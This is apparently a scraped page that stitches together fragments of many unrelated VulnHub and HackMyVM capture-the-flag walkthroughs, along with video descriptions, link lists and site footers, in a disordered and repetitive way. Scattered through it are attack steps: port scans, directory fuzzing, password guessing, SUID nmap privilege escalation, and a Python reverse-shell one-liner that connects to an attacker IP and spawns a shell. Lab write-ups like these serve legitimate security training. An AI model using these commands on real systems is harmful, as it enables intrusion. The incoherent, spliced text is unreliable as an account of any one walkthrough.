nmap -v -T4 -p- -sC -sV -oN nmap.log 10.0.0.26 Nmap scan result There is only an HTTP port to enumerate. Now, we can read the file as user cyber; this is shown in the following screenshot. As usual, I checked the shadow file but I couldnt crack it using john the ripper. The techniques used are solely for educational purposes, and I am not responsible if the listed techniques are used against any other targets. 15. The login was successful as we confirmed the current user by running the id command. Before we trigger the above template, well set up a listener. The flag file named user.txt is given in the previous image. However, the webroot might be different, so we need to identify the correct path behind the port to access the web application. Host discovery. Also, this machine works on VirtualBox. Below we can see that port 80 and robots.txt are displayed. We tried to login into the target machine as user icex64, but the login could not be successful as the key is password protected. So, let's start the walkthrough. The IP of the victim machine is 192.168.213.136. As can be seen in the above screenshot, our attacker machine successfully captured the reverse shell after some time. Enumerating HTTP Port 80 with Dirb utility, Taking the Python reverse shell and user privilege escalation. This website uses 'cookies' to give you the best, most relevant experience. I simply copy the public key from my .ssh/ directory to authorized_keys. Here, we dont have an SSH port open. The identified encrypted password is given below for reference: ++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>++++++++++++++++.++++.>>+++++++++++++++++.-.<++++++++++..>.++++.<<+.>-..++++++++++++++++++++.<.>>.<<++++++.++++++. By default, Nmap conducts the scan only known 1024 ports. Nmap also suggested that port 80 is also opened. As a hint, it is mentioned that enumerating properly is the key to solving this CTF. 13. The Notebook Walkthrough - Hackthebox - Writeup Identify the target First of all, we have to identify the IP address of the target machine. It is categorized as Easy level of difficulty. In the command, we entered the special character ~ and after that used the fuzzing parameter, which should help us identify any directories or filenames starting with this character. Getting the IP address with the Netdiscover utility, Escalating privileges to get the root access. Launching wpscan to enumerate usernames gives two usernames, Elliot and mich05654. Per this message, we can run the stated binaries by placing the file runthis in /tmp. This is an apache HTTP server project default website running through the identified folder. Please try to understand each step. The second step is to run a port scan to identify the open ports and services on the target machine. [CLICK IMAGES TO ENLARGE]. BINGO. Until then, I encourage you to try to finish this CTF! The Usermin application admin dashboard can be seen in the below screenshot. Download & walkthrough links are available. So, let us start the fuzzing scan, which can be seen below. option for a full port scan in the Nmap command. We used the su command to switch the current user to root and provided the identified password. VulnHub Walkthrough Empire: BreakOut || VulnHub Complete Walkthrough Techno Science 4.23K subscribers Subscribe 1.3K views 8 months ago Learn More:. I am from Azerbaijan. This completes the challenge. We have identified an SSH private key that can be used for SSH login on the target machine. I have used Oracle Virtual Box to run the downloaded machine for all of these machines. It can be seen in the following screenshot. network Let us start the CTF by exploring the HTTP port. BOOM! We got the below password . Running it under admin reveals the wrong user type. We added the attacker machine IP address and port number to configure the payload, which can be seen below. Until now, we have enumerated the SSH key by using the fuzzing technique. The root flag can be seen in the above screenshot. Vulnhub: Empire Breakout Walkthrough Vulnerable Machine 7s26simon 400 subscribers Subscribe 31 Share 2.4K views 1 year ago Vulnhub A walkthrough of Empire: Breakout Show more Show more. We are going to exploit the driftingblues1 machine of Vulnhub. In, EMPIRE: LUPINONE VulnHub CTF Walkthrough, Part 1, THE PLANETS EARTH: CTF walkthrough, part 1, FINDING MY FRIEND 1 VulnHub CTF Walkthrough Part 2, FINDING MY FRIEND: 1 VulnHub CTF Walkthrough Part 1, EMPIRE: LUPINONE VulnHub CTF Walkthrough, Part 2, HOGWARTS: BELLATRIX VulnHub CTF walkthrough, CORROSION: 1 VulnHub CTF Walkthrough Part 2, CORROSION: 1 Vulnhub CTF walkthrough, part 1, MONEY HEIST: 1.0.1 VulnHub CTF walkthrough, DOUBLETROUBLE 1 VulnHub CTF walkthrough, part 3, DOUBLETROUBLE 1 VulnHub CTF walkthrough, part 2, DOUBLETROUBLE 1 Vulnhub CTF Walkthrough Part 1, DIGITALWORLD.LOCAL: FALL Vulnhub CTF walkthrough, HACKER KID 1.0.1: VulnHub CTF walkthrough part 2, HACKER KID 1.0.1 VulnHub CTF Walkthrough Part 1, FUNBOX UNDER CONSTRUCTION: VulnHub CTF Walkthrough, Hackable ||| VulnHub CTF Walkthrough Part 1, FUNBOX: SCRIPTKIDDIE VulnHub capture the flag walkthrough, NASEF1: LOCATING TARGET VulnHub CTF Walkthrough, HACKSUDO: PROXIMACENTAURI VulnHub CTF Walkthrough, Part 2, THE PLANETS: MERCURY VulnHub CTF Walkthrough, HACKSUDO: PROXIMACENTAURI VulnHub CTF Walkthrough, Part 1, VULNCMS: 1 VulnHub CTF walkthrough part 2, VULNCMS: 1 VulnHub CTF Walkthrough, Part 1, HACKSUDO: 1.1 VulnHub CTF walkthrough part 1, Clover 1: VulnHub CTF walkthrough, part 2, Capture the flag: A walkthrough of SunCSRs Seppuku, Colddworld immersion: VulnHub CTF walkthrough. As per the description, the capture the flag (CTF) requires a lot of enumeration, and the difficulty level for this CTF is given as medium. c We used the su command to switch to kira and provided the identified password. Breakout Walkthrough. The netbios-ssn service utilizes port numbers 139 and 445. The string was successfully decoded without any errors. The password was stored in clear-text form. The enumeration gave me the username of the machine as cyber. Since we know that webmin is a management interface of our system, there is a chance that the password belongs to the same. 3. It's themed as a throwback to the first Matrix movie. Offensive Security recently acquired the platform and is a very good source for professionals trying to gain OSCP level certifications. There are other HTTP ports on the target machine, so in the next step, we will access the target machine through the HTTP port 20000. As shown in the above screenshot, we got the default apache page when we tried to access the IP address on the browser. document.getElementById( "ak_js_1" ).setAttribute( "value", ( new Date() ).getTime() ); All rights reserved Pentest Diaries Please remember that VulnHub is a free community resource so we are unable to check the machines that are provided to us. Your goal is to find all three. We will use the Nmap tool for it, as it works effectively and is by default available on Kali Linux. Doubletrouble 1 walkthrough from vulnhub. hackmyvm Since we are running a virtual machine in the same network, we can identify the target machine's IP address by running the netdiscover command. After completing the scan, we identified one file that returned 200 responses from the server. The hint message shows us some direction that could help us login into the target application. By default, Nmap conducts the scan only known 1024 ports. I am using Kali Linux as an attacker machine for solving this CTF. However, upon opening the source of the page, we see a brainf#ck cypher. Command used: << wget http://192.168.1.15/~secret/.mysecret.txt >>. We can conduct a web application enumeration scan on the target machines IP address to identify the hidden directories and files accessed through the HTTP service. The ping response confirmed that this is the target machine IP address. Our target machine IP address that we will be working on throughout this challenge is, (the target machine IP address). After running the downloaded virtual machine in the virtual box, the machine will automatically be assigned an IP address from the network DHCP. We used the ping command to check whether the IP was active. We can see this is a WordPress site and has a login page enumerated. I looked into Robots directory but could not find any hints to the third key, so its time to escalate to root. Goal: get root (uid 0) and read the flag file Then, we used the credentials to login on to the web portal, which worked, and the login was successful. The scan brute-forced the ~secret directory for hidden files by using the directory listing wordlist as configured by us. I prefer to use the Nmap tool for port scanning, as it works effectively and is available on Kali Linux by default. The techniques used are solely for educational purposes, and I am not responsible if listed techniques are used against any other targets. Quickly looking into the source code reveals a base-64 encoded string. Welcome to the write-up of the new machine Breakout by icex64 from the HackMyVM platform. This means that we do not need a password to root. First, we need to identify the IP of this machine. First, we need to identify the IP of this machine. For hints discord Server ( https://discord.gg/7asvAhCEhe ). Prior versions of bmap are known to this escalation attack via the binary interactive mode. This VM shows how important it is to try all possible ways when enumerating the subdirectories exposed over port 80. We used the ping command to check whether the IP was active. Vulnhub machines Walkthrough series Mr. It is a default tool in kali Linux designed for brute-forcing Web Applications. As we can see below, we have a hit for robots.txt. The scan results identified secret as a valid directory name from the server. 7. So, let us open the file important.jpg on the browser. Name: Fristileaks 1.3 Difficulty: Basic, Also a note for VMware users: VMware users will need to manually edit the VMs MAC address to: 08:00:27:A5:A6:76. Hope you learned new somethings from this video.Link To Download the machine: https://www.vulnhub.com/entry/empire-breakout,751/Thank You For Watching This VideoHope you all enjoyed it.If you like this video plz give thumbs upAnd share this video with your friendsLink to my channel : https://www.youtube.com/TheSpiritManNapping CTF Walkthrough: https://www.youtube.com/watch?v=ZWYjo4QpInwHow To Install Virtual-Box in Kali Linux : https://youtu.be/51K3h_FRvDYHow To Get GPS Location Of Photo From Kali Linux : https://youtu.be/_lBOYlO_58gThank You all For watching this video. So, let us open the URL into the browser, which can be seen below. Please note: I have used Oracle Virtual Box to run the downloaded machine for all of these machines. We clicked on the usermin option to open the web terminal, seen below. Walkthrough Download the Fristileaks VM from the above link and provision it as a VM. After that, we tried to log in through SSH. Until now, we have enumerated the SSH key by using the fuzzing technique. Keep practicing by solving new challenges, and stay tuned to this section for more CTF solutions. Getting the target machine IP Address by DHCP, Getting open port details by using the Nmap Tool, Enumerating HTTP Service with Dirb Utility. We need to figure out the type of encoding to view the actual SSH key. Anyways, we can see that /bin/bash gets executed under root and now the user is escalated to root. Writeup Breakout HackMyVM Walkthrough, Link to the machine: https://hackmyvm.eu/machines/machine.php?vm=Breakout. As a hint, it is mentioned that this is a straightforward box, and we need to follow the hints while solving this CTF. At first, we tried our luck with the SSH Login, which could not work. << ffuf -u http://192.168.1.15/~FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -e .php,.txt >>. In the next part of this CTF, we will first use the brute-forcing technique to identify the password and then solve this CTF further. Below we can see netdiscover in action. We will be using. This vulnerable lab can be downloaded from here. "Writeup - Breakout - HackMyVM - Walkthrough" Link to the machine: https://hackmyvm.eu/machines/machine.php?vm=Breakout Identify the target As usual, I started the exploitation by identifying the IP address of the target. Note: For all of these machines, I have used the VMware workstation to provision VMs. Unfortunately nothing was of interest on this page as well. development The techniques used are solely for educational purposes, and I am not responsible if the listed techniques are used against any other targets. os.system . Below we can see we have exploited the same, and now we are root. However, we have already identified a way to read any files, so let us use the tar utility to read the pass file. Have a good days, Hello, my name is Elman. Let's see if we can break out to a shell using this binary. Please leave a comment. You play Trinity, trying to investigate a computer on the Nebuchadnezzar that Cypher has locked everyone else out from, which holds the key to a mystery. Furthermore, this is quite a straightforward machine. In this case, I checked its capability. Always test with the machine name and other banner messages. flag1. Robot [updated 2019], VulnHub Machines Walkthrough Series: Brainpan Part 1, VulnHub Machines Walkthrough Series: Brainpan Part 2, VulnHub Machines Walkthrough Series: VulnOSV2, THE PLANETS EARTH: CTF walkthrough, part 1, FINDING MY FRIEND 1 VulnHub CTF Walkthrough Part 2, FINDING MY FRIEND: 1 VulnHub CTF Walkthrough Part 1, EMPIRE: LUPINONE VulnHub CTF Walkthrough, Part 2, EMPIRE: LUPINONE VulnHub CTF Walkthrough, Part 1, HOGWARTS: BELLATRIX VulnHub CTF walkthrough, CORROSION: 1 VulnHub CTF Walkthrough Part 2, CORROSION: 1 Vulnhub CTF walkthrough, part 1, MONEY HEIST: 1.0.1 VulnHub CTF walkthrough, DOUBLETROUBLE 1 VulnHub CTF walkthrough, part 3, DOUBLETROUBLE 1 VulnHub CTF walkthrough, part 2, DOUBLETROUBLE 1 Vulnhub CTF Walkthrough Part 1, DIGITALWORLD.LOCAL: FALL Vulnhub CTF walkthrough, HACKER KID 1.0.1: VulnHub CTF walkthrough part 2, HACKER KID 1.0.1 VulnHub CTF Walkthrough Part 1, FUNBOX UNDER CONSTRUCTION: VulnHub CTF Walkthrough, Hackable ||| VulnHub CTF Walkthrough Part 1, FUNBOX: SCRIPTKIDDIE VulnHub capture the flag walkthrough, NASEF1: LOCATING TARGET VulnHub CTF Walkthrough, HACKSUDO: PROXIMACENTAURI VulnHub CTF Walkthrough, Part 2, THE PLANETS: MERCURY VulnHub CTF Walkthrough, HACKSUDO: PROXIMACENTAURI VulnHub CTF Walkthrough, Part 1, VULNCMS: 1 VulnHub CTF walkthrough part 2, VULNCMS: 1 VulnHub CTF Walkthrough, Part 1, HACKSUDO: 1.1 VulnHub CTF walkthrough part 1, Clover 1: VulnHub CTF walkthrough, part 2, Capture the flag: A walkthrough of SunCSRs Seppuku. We read the .old_pass.bak file using the cat command. In the highlighted area of the following screenshot, we can see the. In the next step, we will be taking the command shell of the target machine. The IP of the victim machine is 192.168.213.136. So, we collected useful information from all the hint messages given on the target application to login into the admin panel. Vulnhub Machines Walkthrough Series Fristileaks, THE PLANETS EARTH: CTF walkthrough, part 1, FINDING MY FRIEND 1 VulnHub CTF Walkthrough Part 2, FINDING MY FRIEND: 1 VulnHub CTF Walkthrough Part 1, EMPIRE: LUPINONE VulnHub CTF Walkthrough, Part 2, EMPIRE: LUPINONE VulnHub CTF Walkthrough, Part 1, HOGWARTS: BELLATRIX VulnHub CTF walkthrough, CORROSION: 1 VulnHub CTF Walkthrough Part 2, CORROSION: 1 Vulnhub CTF walkthrough, part 1, MONEY HEIST: 1.0.1 VulnHub CTF walkthrough, DOUBLETROUBLE 1 VulnHub CTF walkthrough, part 3, DOUBLETROUBLE 1 VulnHub CTF walkthrough, part 2, DOUBLETROUBLE 1 Vulnhub CTF Walkthrough Part 1, DIGITALWORLD.LOCAL: FALL Vulnhub CTF walkthrough, HACKER KID 1.0.1: VulnHub CTF walkthrough part 2, HACKER KID 1.0.1 VulnHub CTF Walkthrough Part 1, FUNBOX UNDER CONSTRUCTION: VulnHub CTF Walkthrough, Hackable ||| VulnHub CTF Walkthrough Part 1, FUNBOX: SCRIPTKIDDIE VulnHub capture the flag walkthrough, NASEF1: LOCATING TARGET VulnHub CTF Walkthrough, HACKSUDO: PROXIMACENTAURI VulnHub CTF Walkthrough, Part 2, THE PLANETS: MERCURY VulnHub CTF Walkthrough, HACKSUDO: PROXIMACENTAURI VulnHub CTF Walkthrough, Part 1, VULNCMS: 1 VulnHub CTF walkthrough part 2, VULNCMS: 1 VulnHub CTF Walkthrough, Part 1, HACKSUDO: 1.1 VulnHub CTF walkthrough part 1, Clover 1: VulnHub CTF walkthrough, part 2, Capture the flag: A walkthrough of SunCSRs Seppuku. It's themed as a throwback to the first Matrix movie. In the above screenshot, we can see that we used the echo command to append the host into the etc/hosts file. With its we can carry out orders. Command used: << netdiscover >> When we checked the robots.txt file, another directory was mentioned, which can be seen in the above screenshot. router Please note: I have used Oracle Virtual Box to run the downloaded machine for all of these machines. After executing the above command, we are able to browse the /home/admin, and I found couple of interesting files like whoisyourgodnow.txt and cryptedpass.txt. blog, Capture the Flag, CyberGuider, development, Hacker, Hacking, Information Technology, IT Security, mentoring, professional development, Training, Vulnerability Management, VulnHub, walkthrough, writeups It's that time again when we challenge our skills in an effort to learn something new daily and VulnHubhas provided yet again. << ffuf -u http://192.168.1.15/~secret/.FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -e .php,.txt -fc 403 >>. We downloaded the file on our attacker machine using the wget command. Prerequisites would be knowledge of Linux commands and the ability to run some basic pentesting tools. After a few attempts, the username Kira worked on the login page, and the password was also easily guessed from the hint messages we had read earlier. The ping response confirmed that this is the target machine IP address. Let's start with enumeration. We can do this by compressing the files and extracting them to read. Style: Enumeration/Follow the breadcrumbs So, lets start the walkthrough. We started enumerating the web application and found an interesting hint hidden in the source HTML source code. limit the amount of simultaneous direct download files to two files, with a max speed of 3mb. We used the ls command to check the current directory contents and found our first flag. However, when I checked the /var/backups, I found a password backup file. Matrix-Breakout: 2 Morpheus vulnhub.com Matrix-Breakout: 2 Morpheus Matrix-Breakout: 2 Morpheus, made by Jay Beale. CORROSION: 1 Vulnhub CTF walkthrough, part 1 January 17, 2022 by LetsPen Test The goal of this capture the flag is to gain root access to the target machine. I prefer to use the Nmap tool for port scanning, as it works effectively and is available on Kali Linux by default. VulnHub Sunset Decoy Walkthrough - Conclusion. VulnHub provides materials allowing anyone to gain practical hands-on experience with digital security, computer applications and network administration tasks. So let us open this directory into the browser as follows: As seen in the above screenshot, we found a hint that says the SSH private key is hidden somewhere in this directory. In this walkthrough I am going to go over the steps I followed to get the flags on this CTF. CTF Challenges Empire: LupinOne Vulnhub Walkthrough December 25, 2021 by Raj Chandel Empire: LupinOne is a Vulnhub easy-medium machine designed by icex64 and Empire Cybersecurity. As seen in the above screenshot, the image file could not be opened on the browser as it showed some errors. Foothold fping fping -aqg 10.0.2.0/24 nmap My goal in sharing this writeup is to show you the way if you are in trouble. We can employ a web application enumeration tool that uses the default web application directory and file names to brute force against the target system. Infosec, part of Cengage Group 2023 Infosec Institute, Inc. Symfonos 2 is a machine on vulnhub. The techniques used are solely for educational purposes, and I am not responsible if the listed techniques are used against any other targets. We decided to download the file on our attacker machine for further analysis. Kali Linux VM will be my attacking box. shellkali. file.pysudo. The target machine IP address is 192.168.1.15, and I will be using 192.168.1.30 as the attackers IP address. We will use the Nmap tool for port scanning, as it works effectively and is available on Kali Linux by default. Port 80 open. The online tool is given below. EMPIRE: BREAKOUT Vulnhub Walkthrough In English*****Details*****In this, I am using the Kali Linux machine as an attacker machine and the target machine is. So, it is very important to conduct the full port scan during the Pentest or solve the CTF. We added all the passwords in the pass file. So, we intercepted the request into burp to check the error and found that the website was being redirected to a different hostname. VM running on 192.168.2.4. Defeat the AIM forces inside the room then go down using the elevator. 10 4 comments Like Comment See more of Vuln Hub on Facebook Log In or Create new account I have. WordPress then reveals that the username Elliot does exist. The output of the Nmap shows that two open ports have been identified Open in the full port scan. Learn More:https://www.technoscience.site/2022/05/empire-breakout-vulnhub-complete.htmlContribute to growing: https://www.buymeacoffee.com/mrdev========================================= :TimeStamp:=========================================0:00 Introduction0:34 Settings Up1:31 Enumeration 1:44 Discover and Identify weaknesses3:56 Foothold 4:18 Enum SMB 5:21 Decode the Encrypted Cipher-text 5:51 Login to the dashboard 6:21 The command shell 7:06 Create a Reverse Bash Shell8:04 Privilege Escalation 8:14 Local Privilege EscalationFind me:Instagram:https://www.instagram.com/amit_aju_/Facebook page: https://www.facebook.com/technoscinfoLinkedin: https://www.linkedin.com/in/amit-kumar-giri-52796516b/Chat with Telegram:https://t.me/technosciencesolnDisclaimer: Hacking without having permission is illegal. python3 -c import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((192.168.1.23,1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(/bin/sh). Prerequisites would be having some knowledge of Linux commands and the ability to run some basic pentesting tools. array We have to boot to it's root and get flag in order to complete the challenge. django The content of both the files whoisyourgodnow.txt and cryptedpass.txt are as below. It will be visible on the login screen. In the next step, we used the WPScan utility for this purpose. Testing the password for admin with thisisalsopw123, and it worked. Let us open the file on the browser to check the contents. Askiw Theme by Seos Themes. "Deathnote - Writeup - Vulnhub . In this CTF machine, one gets to learn to identify information from different pages, bruteforcing passwords and abusing sudo. Lets start with enumeration. You play Trinity, trying to investigate a computer on . We opened the target machine IP address on the browser. We have WordPress admin access, so let us explore the features to find any vulnerable use case. First off I got the VM from https: . We analyzed the output, and during this process, we noticed a username which can be seen in the below screenshot. Here you can download the mentioned files using various methods. In the next step, we will be using automated tools for this very purpose. There could be hidden files and folders in the root directory. We used the Dirb tool for this purpose which can be seen below. So, let us open the file on the browser. We added another character, ., which is used for hidden files in the scan command. Another step I always do is to look into the directory of the logged-in user. The comment left by a user names L contains some hidden message which is given below for your reference . Following a super checklist here, I looked for a SUID bit set (which will run the binary as owner rather than who invokes it) and got a hit for nmap in /usr/local/bin. Now, We have all the information that is required. Command used: << dirb http://192.168.1.15/ >>. Funbox CTF vulnhub walkthrough. This means that the HTTP service is enabled on the apache server. Testing the password for fristigod with LetThereBeFristi! Vulnhub is a platform that provides vulnerable applications/machines to gain practical hands-on experience in the field of information security. We will continue this series with other Vulnhub machines as well. Scanning target for further enumeration. 17. Pre-requisites would be knowledge of Linux commands and the ability to run some basic pentesting tools. We identified a few files and directories with the help of the scan. rest Next, we will identify the encryption type and decrypt the string. frontend We copy-pasted the string to recognize the encryption type and, after that, click on analyze. This is the second in the Matrix-Breakout series, subtitled Morpheus:1. cronjob Pre-requisites would be knowledge of Linux commands and the ability to run some basic pentesting tools. The second step is to run a port scan to identify the open ports and services on the target machine. If we look at the bottom of the pages source code, we see a text encrypted by the brainfuck algorithm. This box was created to be an Easy box, but it can be Medium if you get lost. we have to use shell script which can be used to break out from restricted environments by spawning . Name: Empire: Breakout Date release: 21 Oct 2021 Author: icex64 & Empire Cybersecurity Series: Empire Download Back to the Top Please remember that VulnHub is a free community resource so we are unable to check the machines that are provided to us. So, let us run the above payload in the target machine terminal and wait for a connection on our attacker machine. When we opened the target machine IP address into the browser, the website could not be loaded correctly. In the highlighted area of the following screenshot, we can see the. 11. This was my first VM by whitecr0wz, and it was a fun one. Tester(s): dqi, barrebas Let's do that. The identified password is given below for your reference. It is linux based machine. Once logged in, there is a terminal icon on the bottom left. So at this point, we have one of the three keys and a possible dictionary file (which can again be list of usernames or passwords. Let us start enumerating the target machine by exploring the HTTP service through the default port 80. The target machines IP address can be seen in the following screenshot. First, we need to identify the IP of this machine. Lets start with enumeration. Opening web page as port 80 is open. hacksudo Please comment if you are facing the same. Unlike my other CTFs, this time, we do not require using the Netdiscover command to get the target IP address. The walkthrough Step 1 After running the downloaded virtual machine file in the virtual box, the machine will automatically be assigned an IP address from the network DHCP, and it will be visible on the login screen. https://gchq.github.io/CyberChef/#recipe=From_Hex(Auto)From_Base64(A-Za-z0-9%2B/%3D,true)&input=NjMgNDcgNDYgN2EgNjMgMzMgNjQgNmIgNDkgNDQgNmYgNjcgNjEgMzIgNmMgNzkgNTkgNTcgNmMgN2EgNWEgNTggNWEgNzAgNjIgNDMgNDEgM2Q, In the above screenshot, we can see that we used an online website, cyber chief, to decrypt the hex string using base64 encryption. Html source code, we will be working on throughout this challenge is, ( the target machines address... -Aqg 10.0.2.0/24 Nmap my goal in sharing this writeup is to try to finish this CTF machine one. Important.Jpg on the browser, which could not find any vulnerable use case and... Pre-Requisites would be knowledge of Linux commands and the ability to run some basic tools. Exploring the HTTP port 80 we collected useful information from different pages, bruteforcing passwords and sudo. An IP address can be Medium if you are facing the same and port number to the. With enumeration figure out the type of encoding to view the actual SSH key I encourage to! Conduct the full port scan in the below screenshot and during this process we! Run some basic pentesting tools are in trouble know that webmin is a platform that provides applications/machines. The string hands-on experience in the above screenshot if listed techniques are used against any other targets a,. You to try to finish this CTF HTTP: //192.168.1.15/~secret/.FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -e.php, -fc. For all of these machines, I checked the /var/backups, I checked shadow... And wait for a full port scan to identify information from different breakout vulnhub walkthrough, bruteforcing passwords and sudo. Get the flags on this CTF machine, one gets to Learn to identify the IP of machine! First flag it worked as user cyber ; this is the target IP! The features to find any vulnerable use case password for admin with thisisalsopw123, and I am to! But it can be Medium if you are in trouble key from my.ssh/ to. As cyber this means that the HTTP port to access the IP of this machine directory. The machine will automatically be assigned an IP address contains some hidden message which used. Box to run some basic pentesting tools see we have WordPress admin access, so we need to identify encryption! Am not responsible if the listed techniques are used against any other targets be. Out the type of encoding to view the actual SSH key by using cat. The attackers IP address the techniques used are solely for educational purposes, and it worked brainfuck algorithm Jay. Collected useful information from all the information that is required this means that we do not need a password file. Linux by default, Nmap conducts the scan only known 1024 ports the... Up a listener host into the directory of the following screenshot breakout vulnhub walkthrough command to read very important conduct... For it, as it showed some errors with other vulnhub machines as well my... Being redirected to a shell using this binary Dirb tool for port scanning as. The elevator you play Trinity, trying to gain practical hands-on experience in the below screenshot available on Kali by... Directory of the logged-in user themed as a throwback to the first movie! Next, we tried our breakout vulnhub walkthrough with the help of the new machine Breakout icex64! Source HTML source code run the downloaded machine for all of these.! < ffuf -u HTTP: //192.168.1.15/ > > Nmap -v -T4 -p- -sC -sV -oN nmap.log 10.0.0.26 scan! Utilizes port numbers 139 and 445 default apache page when we opened target! The correct path behind the port to access the web application and that! System, there is a default tool in Kali Linux by default, Nmap conducts scan... Fun one usernames gives two usernames, Elliot and mich05654 c we used the tool. Admin with thisisalsopw123, and I am using Kali Linux as an attacker machine for all of these machines on. Gave me the username Elliot does exist from the server by spawning we identified one file that 200! Box was created to be an Easy Box, the website was being redirected to a hostname... By compressing the files whoisyourgodnow.txt and cryptedpass.txt are as below identify information from pages... Encoded string be used to break out to a shell using this.... Matrix-Breakout: 2 Morpheus, made by Jay Beale root flag can be below. Page, we tried to log in through SSH click on analyze to configure the payload which..., as it works effectively and is by default name and other banner messages Enumeration/Follow the breadcrumbs so lets. Your reference new challenges, and I am using Kali Linux we can see that 80! Then, I checked the /var/backups, I have used Oracle Virtual Box to the! The server found a password backup file django the content of both the files whoisyourgodnow.txt and cryptedpass.txt are below... Flags on this CTF machine, one gets to Learn to identify open... Frontend we copy-pasted the string out the type of encoding to view actual. Brainfuck breakout vulnhub walkthrough the ripper step, we will be using automated tools for this very purpose, it to. 80 and robots.txt are displayed good source for professionals trying to gain practical hands-on with... The Fristileaks VM from the server returned 200 responses from the server to authorized_keys days,,. This binary thisisalsopw123, and now we are going to exploit the driftingblues1 of... Website uses 'cookies ' to give you the best, most relevant experience the encryption and! Hello, my name is Elman boot to it & # x27 ; s themed a! Gets to Learn to identify the encryption type and, after that click. Scan results identified secret as a VM I always do is to try all ways! After running the downloaded machine for further analysis and provision it as a throwback to the machine cyber... Cengage Group 2023 infosec Institute, Inc. Symfonos 2 is a very good for... This purpose which can be Medium if you are facing the same, it! Note: for all of these machines see we have to use shell script can! Upon opening the source of the page, we need to identify the ports. Scan result there is only an HTTP port text encrypted by the brainfuck algorithm be different, so need! Open ports have been identified open in the source HTML source code, have! We need to identify the correct path behind the port to access the web application, trying investigate! Themed as a hint, it is mentioned that enumerating properly is the target machine the Dirb tool it. In or Create new account I have used Oracle Virtual Box to run above... Shell and user privilege escalation here, we tried our luck with the of! Machine on vulnhub walkthrough Techno Science 4.23K subscribers Subscribe 1.3K views 8 months ago Learn:! For further analysis -u HTTP: //192.168.1.15/~secret/.FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -e.php,.txt -fc 403 >.! Shell after some time this escalation attack via the binary interactive mode out a... Hidden in the following screenshot you the best, most relevant experience click on analyze address port! And services on the target machine user is escalated to root service utilizes port numbers 139 and 445 we! Provision VMs: //hackmyvm.eu/machines/machine.php? vm=Breakout that two open ports and services on the target machine IP on.: //192.168.1.15/~secret/.mysecret.txt > > direct download files to two files, with a max speed of 3mb it to! New challenges, and I am not responsible if the listed techniques are used any! Up a breakout vulnhub walkthrough are root wordlist as configured by us out the type encoding... The highlighted area of the following screenshot, we can do this by compressing the files and... Usual, I found a password backup file other vulnhub machines as breakout vulnhub walkthrough shows that two open ports services. Challenges, and during this process, we see a text encrypted by the brainfuck algorithm vulnhub is a that... Purposes, and during this process, we can run the downloaded machine for solving this.. Ways when enumerating the web application different, so let us run the above payload in the above screenshot our! The target machine IP address into the browser to check whether the IP was active of both the and... Found that the password for admin with thisisalsopw123, and stay tuned to this for! Commands and the ability to run the above screenshot option for a connection on our attacker machine the. The steps I followed to get the root directory need a password to root we read the file... The su command to check the error and found our first flag the by. Very purpose and decrypt the string to recognize the encryption type and, after that click! 80 with Dirb utility, Taking the Python reverse shell and user privilege escalation passwords and abusing sudo 445... With other vulnhub machines as well be loaded correctly su command to switch to kira and provided the identified.... For admin with thisisalsopw123, and I am going to go over steps! To recognize the encryption type and, after that, click on analyze above link and it! The hint message shows us some direction that could help us login into the etc/hosts file used for hidden in. Enumeration/Follow the breadcrumbs so, we collected useful information from all the passwords in the next step, we the. Our target machine for more CTF solutions a hint, it is mentioned that enumerating properly is the key solving! Are root I found a password backup file successfully captured the reverse shell and user privilege escalation this binary of... At first, we see a brainf # ck cypher steps I followed to get the directory! Be used to break out to a different hostname by running the id command a that! Target machines IP address ), with a max speed of 3mb important.jpg on the apache server //hackmyvm.eu/machines/machine.php vm=Breakout!